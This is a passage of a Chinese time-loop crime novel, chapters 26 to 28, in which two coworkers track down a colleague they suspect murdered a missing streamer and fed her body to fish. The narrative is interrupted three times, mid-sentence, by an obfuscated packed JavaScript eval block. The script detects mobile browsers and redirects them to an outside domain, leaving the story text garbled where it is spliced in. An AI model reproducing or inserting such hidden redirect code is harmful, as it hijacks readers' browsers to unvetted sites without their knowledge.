方警官先搜了一下两人的身，但除了他们的个人物品之外，她并没发现什么奇怪的玩意，她于是问道：“你们两人私闯民宅是想干什么？想偷东西吗？” 两人原本就打算报警，这下警察来了也算是正合了他们的心意，当然前提是不以这种原因来…… 辛琪比秦屿冷静许多，她抓住机会立即对方警官开口：“方警官，我们来是想调查一桩杀人案的，我们怀疑何成康在这里杀过人。” 方警官盯着说话的辛琪，眼睛不禁眯了起来。 * 辛琪和秦屿还是被做事一丝不苟的方警官带到了派出所里。 算上之前的，辛琪已经来了派出所三次，来的次数比前二十几年的人生加起来都多。 她这次是嫌疑犯，跟之前的待遇不一样了，她坐在审讯椅上，双手被牢牢拷住。 但方警官并没有来审问她，她告知了方警官自己在厕所里发现的痕迹和阳台上的巨大行李袋，方警官正忙着去检验。 审讯室里很安静，辛琪静静等待着，只能听见自己不断起伏的心跳声。 不知时间过去了多久，她听到“吱呀”一声响起——审讯室的门被打开了。 辛琪抬头一看，来人正是方警官。 方警官走近了辛琪，她紧蹙着双眉，低头直视着她：“你老实交代，你和秦屿闯入何成康的家里到底想要做什么？” 辛琪一愣：“我刚刚不是说了吗？何成康他杀人了——” 她的话还没说完便被打断了。 “杀过人？”方警官在她面前扔出两分纸质报告，“厕所里的并不是血迹，行李袋也没装过尸体……” “你们从哪儿得出他杀过人的结论的？” 26. 第二十六章 辛琪简直不敢相信自己听到了什么。 “没有血迹？行李袋也没有装过尸体？”她表情呆滞地重复了一遍方警官的话。 方警官翻开了纸质报告展示在辛琪眼前：“你发现的所谓的血迹只是衣服上的染料，那行李袋我们也仔细检查过了，没有发现什么人体组织。” 辛琪看着方警官手中的纸质报告，报告上得出的结论和方警官的说法确实一模一样。 但辛琪还是不肯相信何成康没杀过人，否则她这两次做的梦该怎么解释呢？ 她不认为那只是单纯的梦境。 “那方警官你去找过其他地方吗？”她不死心地问方警官，“我记得何成康家里有一间卧室堆满了杂物，那里面一定有什么线索……” “都找过了，”方警官短短一句话打碎了辛琪所有希望，“何成康家里的地板和墙壁我们都仔仔细细地搜查过了，他家里干干净净，没有发现任何血迹反应。” “你们两人虽然闯入了何成康的家，但并没有造成人员或者财务的损失，这不算什么大事——”她一双眼睛牢牢锁定着辛琪，“当然前提是你要老实交代你为什么要闯入何成康的家。” “要是再胡说八道，就连我也帮不了你了。” 方警官半是威胁半是蛊惑地说。 辛琪低垂着眼睛，目光落在自己被拷的双手上没有回答。 她脑子里还在想着那桩杀人案。 方警官说没有在何成康家里找到血迹反应，那说明他一定是早早清理过现场，把所有痕迹都抹去了。 辛琪想恐怕这下就算把何成康家里翻个底朝天，警方也找不出什么证据。 她想起以前看过的推理剧，在找不到证据的情况下，要是能找到尸体，说不定也能发现什么线索。 但辛琪随即又想到何成康连家里都清理得干干净净，肯定也好好处理过尸体了。 尸体才是凶杀案里最大的证据，何成康是不可能让人轻易找到尸体的。 唉，这真是……无论哪一条路都行不通啊。 没有证据或者尸体就不能证明他杀过人，也不能让他们俩改变结局，结束循环。 辛琪不知道现在是什么时候，但她猜离午夜十二点已经不远了。 这一次循环过去，两人就只剩下最后两次机会，且随着循环次数的推移，他们俩可用的时间越来越少，满打满算也就才三个小时而已！ 三个小时，两个普通人要找出证据或者尸体这谈何容易？！ 辛琪顿时感觉十分懊恼，那个死者都给她托梦了，为什么不能再给她多一点提示呢？ …… 等等……托梦？ 辛琪突然反应过来，她的路还没有完全堵死。 她虽然找不到证据，也找不到尸体，但她不是可以通过梦境亲历案发现场吗？ 那个梦境里一切的证据和痕迹都还在，要是她仔细观察，说不定真的能发现什么隐藏的线索！ 她真是错怪死者了，死者其实一直在给予她最大的帮助，毕竟案发现场才是遗留信息最多的地方！ 重新看到希望，辛琪激动的将头抬起，连带着手腕上的手铐也“叮咚”作响。 发现辛琪的脸色像变戏法似的忽然产生变化，眼睛也重新燃起了光芒，方警官有些疑惑地盯着她：“你这是想清楚要交待了？” 辛琪只问方警官：“现在几点了？” 方警官看一眼自己手机：“还有十分钟就到十二点了。” “你们警局还有盒饭吗？我有点饿了想吃一口。” “这个时候吃饭？”方警官瞪着她，“你别想耍花样！” “我没想耍花样，我只是想吃饱了好上路——”辛琪赶紧改口，“吃饱了好交待。” “给你饭吃你就把一切都和盘托出？” 辛琪点头如捣蒜：“我保证！” “要是敢骗我，你今晚就别想睡个好觉了！”撂下这句话，方警官到底还是走出去给她拿盒饭了。 其实辛琪根本不饿，让方警官去拿盒饭，不过是想拖延一点时间，反正只剩下十分钟，把它混完她就又能恢复自由身了。 不过方警官将盒饭端到辛琪眼前时，辛琪还是听到肚子咕咕叫了几声。这次时间晚，菜色跟之前不同，打开盖子时，每道菜都热气腾腾的像是刚出锅。 不等方警官催促，辛琪拿起筷子赶紧刨了几口，她这下又开始遗憾为什么时间就剩下几分钟，害得她根本吃不了几口。 方警官在一旁看着辛琪巴不得把头都埋进饭盒里，心想她倒是挺老实的没骗自己，饿成这样得有一天没吃饭了吧？ 她正想着一会要怎么审问辛琪时，忽见辛琪手里的筷子一滑，捂住胸口全身开始抽搐，有鲜血从她指缝里流了出来。 方警官忙走近她身旁：“辛琪！你怎么了？” 胸口处传来的剧烈疼痛已经让辛琪没有力气回答方警官了，她只感觉眼前变得越来越模糊，意识正在逐渐远去。 新的循环快要来了。 在意识彻底抽离之前，她拼尽最后一丝气力，将盒饭扫到地面上。 ——她不太想自己死的时候倒在一堆饭菜里，那满身的油味，辛琪想想就起鸡皮疙瘩。 * 辛琪睁开眼时，第一眼看到的还是那布满了水渍和苔藓的天花板。 “咚咚咚”的声音不绝于耳，那是何成康正在卖力地分割着死者的尸体。 辛琪这一回是带着找线索的目的来的，所以她从知道自己在梦境中开始，就一直留意着周遭的一切。 虽然她现在动不了，但好在她还保留了视觉和听觉，这两个人体身上最重要的感官。 瞳孔无法挪动，视线范围内的一切除了天花板还是天花板，她于是努力调动着自己的听觉。 “咚咚咚”的分尸声当然是最大的，缓慢又规律，一直在耳边响个不停，辛琪尽量忽视这声音，想要捕捉到别的动静。 她首先注意到的是何成康身上的动静。 现在是冬季，这个城市并没有暖气供应，哪怕在室内人们也裹得跟粽子一样。 但辛琪并没有听到何成康身上有传来剧烈的衣料摩擦声。 难道他穿得很单薄？辛琪想到。 穿得单薄的话是不是说明凶杀案并不是这个季节发生的？ 如果是在几个月前发生的，怪不得他们找不到一点线索。这时间足够何成康给家里来上几次大扫除了。 除此之外，屋子里唯一能听到的动静就是哗啦啦的水声了，辛琪知道那是何成康鱼缸里传出来的声音。 鱼在鱼缸里大部分时候都是安静的，偶尔会因为抢食而将平静的水面搅出一片水声。 当鱼缸重新归于平静时，何成康将她的头转向了窗台处。 这下辛琪的视线发生变化，她终于能透过窗户上的倒影看清死者的全身了——哪怕这身体缺了一双腿。 她先直视着死者的脸，想看看自己认不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14752220|156497||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 认识这个人。 可惜窗户上的倒影太模糊了，她只能勉强看清这应该是个美人，五官长得很端正，头发长长的刚刚超过胸口的位置。 没有了腿，她也无法判断出死者的身高，至于死者的衣着……她的身上□□，想来何成康为了方便自己分尸，将她的衣物全部脱去了。 也就是说，辛琪无法仅凭倒影判断出死者的身份。 她又将视线转向了正在埋头“干活”的何成康。 跟辛琪猜测的一样，他身上穿着薄薄的短袖，绝对不是现在这个季节能穿的。 这场凶杀案难道发生在夏季？ 这人还真能藏啊，时间都过去那么久了，他犯的事居然还没被人察觉。 辛琪正这样想着时，何成康跟上次一样牵起死者做了长指甲的手，轻柔地放到地面上，一刀斩了下去。 指甲算是人的特征之一，辛琪努力的通过窗户的倒影想要看清死者做了什么指甲，但是倒影太模糊了，她只能看清死者大概做了纯色，并没有别的装饰。 何成康很快将她的头掰回原位，他起身，手中跟之前一样提着一截小腿。 小腿上的断面正对着辛琪，也让辛琪看清了小腿侧边上的痣和脚上鲜艳的指甲盖。 这脚上的指甲做得也很精美，整体是淡淡的粉色，在灯光下还闪烁着奇异的光辉。 辛琪知道，那是很流行的猫眼款式，辛琪的公司也有不少女同事做了这一款。 很流行意味着有很多人做，辛琪心中暗叹，这反倒让她更不好确认死者的身份了。 从梦境中清醒过来时，辛琪眼前出现的依然是那个正在播放的综艺节目。 时间已经来到了晚上22:00。 她将综艺节目关掉，开始整理着自己在梦中看到的一切。 首先何成康穿得很单薄，那么凶杀案发生的时间应该是六月到九月，绝不可能是最近发生的事。 其次，死者是一个头发长至胸前，手上做着长指甲，小腿上有痣，脚上做着粉色猫眼的女人。 辛琪轻叹一口气，在只有听觉和视觉的情况下，梦中能观察到的一切实在太有限了，她能获得的信息也不多。 秦屿在此时敲响了她的房门，辛琪开门将人迎了进来。 “我又做梦了。” 秦屿一进入屋里，辛琪便将梦中的一切都跟他叙述了一遍，还顺便概括了一下自己得出的结论。 “……线索就这么多，我们恐怕还是不能找到直接证据证明何成康杀了人，但或许能试着找找死者？” 秦屿听完了辛琪的叙述，却是一脸若有所思的模样。 “你刚刚说死者的特征是手上做着长指甲，脚上做着粉红色的指甲？” 辛琪点点头：“你想起了什么？” 秦屿道：“这个特征我好像在哪里见过，但是我一下想不起来了……是在哪里呢……” 他冥思苦想了片刻，顿时眼睛一亮，翻出手机在上面点了几下，然后将手机展示在辛琪眼前。 “你看，她是不是手上做着长指甲，脚上做着粉红色的指甲，小腿上还有颗痣？” 辛琪一看，秦屿的手机上播放着一段跳舞直播切片。 视频中的女人长得很漂亮，长发及胸，手上和脚上果然如秦屿所言做着指甲，小腿侧边若隐若现地露出一个黑点来。 辛琪看到视频上方出现了一行字。 “女主播已失踪多日，警方正在全力追查。” 27. 第二十七章 辛琪忽然想起，自己其实是见过这个女人的。 就在凶手上门杀她，结果杀死了秦屿的那次循环中。 她点了外卖，准备找个下饭综艺，结果刚刚打开视频网站，这位女主播的脸就出现在了她眼前。 辛琪当时点开视频看了一下，视频简单介绍了女主播的基本信息，重点却放在女主播的跳舞直播切片上。 也就是秦屿手机上播放的这一个，辛琪之前只草草浏览了视频，并没有仔细看，自然也不会注意到主播指甲上做了什么美甲，她对这位主播最深刻的记忆就是她也住在这座城市里。 这下对着那跳舞视频反反复复地观看，辛琪才观察到她手上的长甲片其实跟脚上一样，也做着淡粉色猫眼。 视频的最后是一则蓝底白字的警方通报，上面写着警方接到报案，有一名女子在前几天失踪了，至今还没找到下落。 “不太对吧，”辛琪很快察觉出了有问题的地方，“警方通报写的前几天失踪，但我梦中的何成康穿着薄薄的短袖，凶杀案应该在几个月就发生了，她不可能现在才失踪。” 而且现在做淡粉色猫眼的人也太多了，辛琪感觉自己去大街上都能找出十个人来。 像是知道她在想什么，秦屿道：“但是能同时满足手上和脚上做了指甲，以及小腿上有痣的人可不多。” 辛琪沉默。 秦屿又往下翻了翻网友们的评论：“有人说这是一个直播网站的女主播，已经好几个月没直播了，你说有没有可能是她早就被何成康杀死了，直到最近才被发现？” “好几个月没直播了……”辛琪沉吟着，“有具体说是什么时候吗？” 秦屿摇头：“我下个软件看看。” 这位女主播本来只是一个几万粉的小主播，但她失踪这事引起了网络小范围的波动，秦屿不用刻意去搜索，直播网站便将她曾经的直播回放推送到了网站首页。 秦屿点进账号一看，女主播现在的粉丝一夜暴涨，已经快突破一百万了。 她直播回放的观看数字也在持续增加。 但秦屿没有点进她的回放，只看了一下最新回放的日期，上面显示日期是6月13号。 他又往前翻了翻所有的直播回放，他发现这位女主播还挺勤快的，几乎天天都会来直播。 在没有任何说明的情况下，她的直播停在了6月13号，这就让人感觉很蹊跷了，秦屿看到评论里早就有人在几个月前怀疑主播是不是出事了，但更多人只是对她“不告而别”的谩骂。 “6月13号……” 辛琪仔细回忆了下，今年确实热得很早，这个时候辛琪应该已经穿上短袖了。 女主播停播的时间和凶杀案发生的时间还挺吻合的。 摆在辛琪面前的证据现在越来越多了。 首先是死者和女主播做了一样的美甲，连小腿上的痣都一样；其次是女主播也刚好住在这个城市里；最后她停播的时间和案件发生的时间几乎一致…… 这一条条一桩桩“巧合”摆在辛琪面前，她几乎可以肯定自己在梦中见过的死者就是这位失踪的女主播。 但是，她还有一个怎么也想不通的疑问。 “如果她6月13号之后就失踪了，为什么直到现在才有人报警呢？这期间隔了好几个月，难道她的家人和朋友不知道吗？” 秦屿耸耸肩，他也无法回答辛琪这个问题，他关心的事是另一件事：“我们现在该怎么办呢？要不要直接报警？” 凶手找到了，死者找到了，剩下的事似乎就是将犯人捉拿归案，等着循环结束了，秦屿这样想着。 辛琪站在原地思索了片刻之后，却摇了摇头：“我们还是缺少了最关键的东西，证据。” 要是冒然报警，只怕还是会跟之前一样，因为“动机不纯”而被方警官抓进派出所里关到十二点，反倒是白白浪费了这一次循环的机会。 机会只剩下两次了，他们不能将它浪费掉。 “又是证据……”秦屿有些崩溃地挠挠头：“可是那个何成康家里什么都没有，证据全被他销毁了啊！” 看来在上一个循环中，他也从警方那里得知了何成康家里的情况。 他急得在客厅里来回踱步。 “现在一点证据都找不到，难道就这样任由他逍遥法外，然后等着循环结束吗？” 秦屿现在觉得很后悔，为什么在第一次经历这一天的时候，他听到辛琪家门口的动静没有出门看一眼。 要是他出门看了，说不定辛琪就不会被杀死，他们也不会沦落到现在这种境地了！ 他现在甚至觉得除了何成康之外，最该死的人还有他！ 就在他将自己辱骂了一千多遍后，他听到身旁的辛琪轻声开口。 “或许还有一个地方，我们可以去看看。” 秦屿连忙追问：“哪儿？” “被害者的家，那里说不定能找到什么线索。” “何成康都把自己家里清理得干干净净了，万一被害者的家也……” “在找不到其他线索的情况下，我们也只能死马当活马医的去碰碰运气，”辛琪知道秦屿在担忧什么，“你总不愿在这里坐以待毙吧？” 秦屿当然不愿，若是行动了说不定还能找到一点有用的东西；若是就在这里坐着什么也不干，那他们可真的没有任何希望了。 报道女主播失踪那条视频介绍过女主播住的小区叫湖畔家园。 这个小区离辛琪并不远，辛琪还记得那周围有一片生态湖，她周末的时候和朋友一起去绕着湖骑车玩过。 两人出了小区，打了一辆车很快到达了湖畔家园。 此时时间已经过了十点半，生态湖岸边亮起了一圈橙黄色的灯光，它们像一条游龙一样环绕着这个人工湖，在水面中映出一团颤颤巍巍的影子。 冬天夜晚天气十分寒冷，这附近大多数的居民都回家了，辛琪看到岸边只剩稀稀拉拉几个人还在绕着生态湖散步。 湖畔家园跟生态湖就隔了一条马路的距离。两人下了车，站在湖畔家园大门前，一转身就能看到那一整片生态湖。 看着黄色灯光倒映在平静的水面中，秦屿感叹：“我还是第一次来这里，没想到这里还有这么大一片湖！真好看啊！” 辛琪则是盯着面前同样装饰的很华丽的湖畔家园开口：“好看是好看，但我相信这儿的房价也一定很美丽。” 反正她肯定是租不起的。 这个小区的环境很好，安保也同样很严格，跟何成康小区里那形同虚设的门卫截然相反。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14765491|156497||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小区需要刷脸才能进入，两人原本想趁着有人进入小区时溜进去，但才走到门前，他们就被小区里的保安拦下了。 保安打量了两人一眼，语气倒很温和：“两位看着有点面生，应该不是这里的业主吧？” 辛琪和秦屿对视了一眼，眼中都出现了些惊讶。 没想到保安看他们一眼就知道他们并不是小区里的住户，这下有些麻烦了，他们要怎么混进去女主播的家？ 辛琪尝试着开口：“我们是来找人的。” “可以说下是几栋几单位吗？”保安道，“我们这边需要跟业主确认一下才能放行。” “我朋友她现在没在家，可能没办法跟你们联系。” “那不好意思了，我们小区规定如果没有业主同意，就不能放陌生人进去。” 保安的话语依旧很礼貌，但话里话外都透露着让两人赶紧离开的意思。 秦屿不想放过好不容易得来的线索：“保安大哥，你不能通融一下吗，我们的朋友真的在里面……” 他话说到一半，突然感觉自己的袖子被人扯了一下，他看到扯他的人正是辛琪。 辛琪对他摇了摇头，示意他不要再说了。 警方通报上只写了女主播住在湖畔家园，却没写她具体的住址，辛琪和秦屿原本是想着来小区里打听的。 可现在看这个小区管理得如此严格，辛琪便知道他们大概问不出女主播的门牌号。退一万步讲，就算他们找到了女主播居住的地方，他们也不可能跟之前一样，找个开锁工来开锁了。 辛琪眼珠子转了转，点开自己的工作用通讯软件，在上面翻找着什么。 她在公司大群里很快找到了一张部门聚餐时的合影，合影上有上司张帆、有周姐还有何成康。 辛琪将何成康的脸放得很大：“保安大哥，跟你说实话吧，其实我们是来找这个人的，我们听说他住在这里，请问你有见过他吗？” 如果是何成康杀死了女主播，那么他很有可能也来过小区里，按照小区的管理制度，他说不定还和这个保安说过话。 ——找不到物证，哪怕有个人证也好啊！ 只要保安证明了何成康和女主播有接触，辛琪就打算立马报警，在有了人证的情况下，何成康肯定会被带走调查了吧？ 他们条件有限，不好找证据，那警察总能找到吧？ 辛琪明白这个想法有点危险，毕竟现在时间有限，警察也不一定能找到什么，但她觉得自己实在是没招了。 保安盯着何成康的照片看了半晌，摇摇头：“小区里住的人我都有印象，这人不住在这里，你们找错了。” “大哥，你再仔细想想呢？我之前看他就从小区里出来过！” 保安再次对着照片沉思了许久，还是摇头：“我真的不记得有这号人出现在小区过……诶，等等！” 正当两人心灰意冷之时，他们忽然见到保安神色一变，不太确定地开口：“这个人是不是喜欢养鱼？” 辛琪重重点头：“他确实养了鱼，您是怎么知道的？” “我想起来了……”保安道，“他时常来这附近的生态湖放生鱼，来得多了我就记住了。” “这里虽然有不少人来放生鱼，但像他这样来得那么勤得还是第一次见！” 28. 第二十八章 放生鱼？ 辛琪想起，何成康家里就有一个大鱼缸，但里面只养着几条小小的鱼苗。 保安还在继续说着：“我们小区也有一个小池塘，这个人一开始还想进小区来放生呢，被我给拒绝了！” “他想要把鱼放生到小区里？”辛琪眉头皱起。 “是啊，你说奇怪不奇怪，放生就放生，放到人家小区里干嘛？” 这的确很让人费解。 若是何成康想要放生，直接选择生态湖就好了，为什么还想把鱼放生到小区里呢？ 辛琪沉思片刻之后问道：“保安大哥，你还记得他第一次来是什么时候吗？几月？” 保安认真回想了一下：“具体的我记不太清楚了，反正那个时候是夏天，天气热得不得了，小区里的孩子正在放暑假，应该是七、八月吧。” “你刚刚说他之后还来过很多次？” “对，”保安说道，“那次我拒绝他进入小区之后，他后面就把鱼全都放生到生态湖里了。他来得很频繁，我值班的时候一个月能见到他两三次呢！” “不过最近一个月好像没来过了。” 辛琪点点头：“我知道了，谢谢你了保安大哥！” 保安说了句“没事”，辛琪便拉着秦屿离开了湖畔家园。 秦屿一直听着辛琪和保安说话，他本就有些不理解她为什么突然关心起何成康放生的事，现在见辛琪拉着自己走人，他更是迷茫了。 他指着湖畔家园的大楼说：“我们不去看女主播的家了吗？” “没那个必要了。” 辛琪眯眼眺望湖畔家园对面的生态湖，看着灯光的倒影像游鱼一般在水面跳动。 “知道何成康杀了女主播后，其实我一直在疑惑一件事。” “什么事？” “尸体，”辛琪道，“杀人容易抛尸难，他到底是怎么处理尸体的？” 他是夏天将女主播杀死的，然而直到现在，这个城市还没有发现过什么“无名女尸”，辛琪想何成康一定用了一个很隐秘的方式，将尸体给处理好了。 听到辛琪说起尸体，秦屿也正色起来：“你是有什么想法了吗？” “我的梦境中，何成康正在分尸，”辛琪道，“我一直以为他是想将尸体分割了好分散开来扔，现在想想他其实早有了更有‘创意’的方案。” “他的方案就是……喂鱼。” “……喂鱼？” 秦屿一整张脸都皱了起来，他仿佛看见何成康将尸体分尸后，再把它们连骨带肉全都剁成肉酱，然后撒到鱼缸里，任由鱼儿们欢快的吞入腹中。 他有点想吐。 辛琪道：“保安说了何成康第一次来放生差不多是在七、八月，女主播最后一次直播是六月十三号，这时间完全对的上。” “而且最奇怪的是，他来放生来得过于频繁，一个月至少要来上两三次，这太不正常了。” “他总不可能是闲得没事做，专门买鱼来放生吧？他一定另有目的。” “但一条鱼就那么点大，”秦屿张开自己的食指和拇指，比出了一个十多厘米的长度，“哪怕那个女主播很瘦，至少也有九十多斤吧？鱼能吃得了那么多吗？” “一条鱼吃不了，那一百条总吃得下了吧？”辛琪道，“他可以先购置大量的鱼养在鱼缸里，让它们‘处理’尸体，等它们长大了一些，鱼缸里装不下了，他再捞起一部分来这里放生。” “这也是他需要频繁放生鱼的原因。” 辛琪的目光始终盯着那平静无波的生态湖，天色实在太黑了，她看不清湖水里面的鱼是否正在无拘无束地游荡。 “这个方法实在是太有‘创意’了，”她冷笑道，“把尸体拿去喂鱼再放生到生态湖里，这样就神不知鬼不觉地处理掉尸体了。” 生态湖的鱼何止成千上万条，喂过尸体的鱼一旦混入其中便很难再找回来了。 毕竟警方不可能将鱼一条一条地捞上来，再剖开它们的肚子看看里面有没有人体组织吧？ “对啊……”秦屿也紧皱起眉头，“连尸体都处理得这么干净，我们这下还怎么证明何成康杀了人？” 辛琪却是一副胸有成竹的样子：“你忘了？我们跟鱼其实见过面的。” “见过面？你是说……” 何成康家里的大鱼缸不正喂着几条鱼苗吗？！ 辛琪点头：“赶紧报警，这一次方警官应该不会再把我们抓到派出所里去了。” * 秦屿报警后，两人也打了一辆车直奔何成康的小区。 他们到达小区门口时，发现小区和之前不一样了，大门正朝两边大大敞开着。望一眼小区深处，还能发现里面闪烁着耀眼的红蓝、灯光，引来了不少居民围观。 两人明白，这是警方已经到了何成康楼下。 于是两人也赶紧下了车，快速进入了小区里。 小区门禁依旧形同虚设，这下更是连门卫都去看热闹了，两人轻轻松松地走进大门，来到了何成康楼下。 楼下有几个警员拦着不让大家上楼，而辛琪和秦屿早已熟悉“流程”，还没等警员将他们拦下，他们便自报了家门。 “我们是报案人。” “……报案人？”年轻警员把赶人的话吞了回去，“你们先等等，我通知一下我上级。” 说完两人便见他拿出手机，拨通了电话，从他的话语不难听出他通知的人正是方警官。 大约过了几十秒之后，他挂断了电话，对着两人说：“方警官有话要问你们，麻烦跟我上去一趟吧。” 两人轻轻点了一下头，跟在年轻警员身后乘坐电梯上了六楼。 楼房外面虽然有不少人围观，但是六楼依旧冷冷清清，只有何成康那间屋子里的大门打开着，有一束灯光从屋子里直射向走廊。 “等会不要乱走乱碰，免得破坏了证据。”进屋之前，警员嘱咐道。 两人乖乖应声，警员将他们带到了何成康的屋子里。 “方姐，我把报案人带来了。” 辛琪扫了一眼何成康的屋子，有三四位警员带着手套正在屋子里搜查，方警官就站在客厅中心，盯着那大大的鱼缸。 鱼缸跟之前一样，只有几尾蓝色鱼鳍的鱼孤零零的在鱼缸中游着。 最让辛琪意外的是，何成康今天居然也在家里。 他依旧摆出一副老实人的模样，站在角落里诚惶诚恐地看着警员们在他的家里走动。 “你怎么也在？”辛琪看向屋子的何成康。 何成康看到她，脸上露出一副很吃惊的模样：“辛姐？你怎么会出现在这里？” 辛琪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14773257|156497||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不答，只对他摆出一张冷脸，她知道何成康在装。 倒是方警官听到他俩的对话，挑眉问了句：“你们认识？” “我们是同事，”何成康道，“辛姐在公司里很照顾我的。” “可你同事刚刚举报你杀人了，”方警官道，“证据就在这个鱼缸里。” “杀……杀人？”何成康面上的表情更慌了，“我真的没有！我怎么可能杀人呢？警官你们是不是误会了？” 何成康说话时，方警官一直观察着他的表情，他脸上的慌张倒是很自然，确实就像一个毫不知情的普通民众。 但是…… “是不是误会，我们调查一下就知道了。” 方警官先拿出了一张照片摆在何成康面前：“你认识这个人吗？” 辛琪看到，她拿出的照片正是女主播的。 何成康看了一会，点点头：“认识啊，她不是最近失踪的那个女主播吗？” “我的意思是，你跟她有私交吗？” 何成康这下摇摇头：“我怎么可能认识这么一个大美女啊……” “不认识她，那你为什么想要去她小区里的池塘放生鱼？” “她的小区……”何成康回忆了一会才道，“哦，警官你是说湖畔家园小区吧？” “那天我提着鱼准备去小区对面的生态湖放生的，路过的时候看到这个小区很漂亮，就忍不住在外面看了一会。” “当时的保安看到我了，问我什么事，那个保安凶神恶煞的，我一时情急就说我想去放生鱼。” 他脸上露出不好意思的神情来：“但保安拒绝了我，我就只好提着鱼去生态湖了。” 这个理由其实有些牵强，正常人被问了怎么可能会找这种借口？但方警官没有追问下去，而是换了一个问题问他。 “那你为什么要频繁地去生态湖放生？养了又扔掉不觉得很可惜吗？” “不会啊，”何成康道，“我看那些鱼怪可怜的，所以买回来养大后都会把它们放生。” “我觉得它们不应该被困在鱼缸里，自由自在的湖泊才应该是他们生存的地方。” “你还挺有爱心的。” 方警官面无表情地夸了一句，然后转头问辛琪：“你们刚刚在电话里说，女主播是什么时候被杀死的来着？” “夏天，”辛琪道，“具体的日期不清楚，但应该是六月十三号之后。” “六月十三号……我记得你们在电话里说过，何成康也差不多是这个时候去放生的……”方警官又看向何成康，“对此，你有什么解释？” 何成康则是满脸的不解：“方警官，我放生鱼和女主播被杀有什么联系吗？” “哦，”方警官道，“他们俩怀疑你把尸体用来喂鱼了，然后再通过放生的方式，神不知鬼不觉地处理掉尸体。” 方警官走近何成康的鱼缸，目光随着那几尾小鱼游动。 “他们怀疑现在这几条鱼的肚子里就有女主播的尸体。” 何成康听了方警官的话，却是满脸的惊讶。 “这更不可能了啊，警官！”辛琪听见何成康说，“我的鱼、鱼缸和鱼缸里的一切都是周四才到家的！” “新买来的鱼我怕它们适应不了新环境，都还没喂它们吃过鱼食呢，我又怎么可能用尸体来喂它们呢！”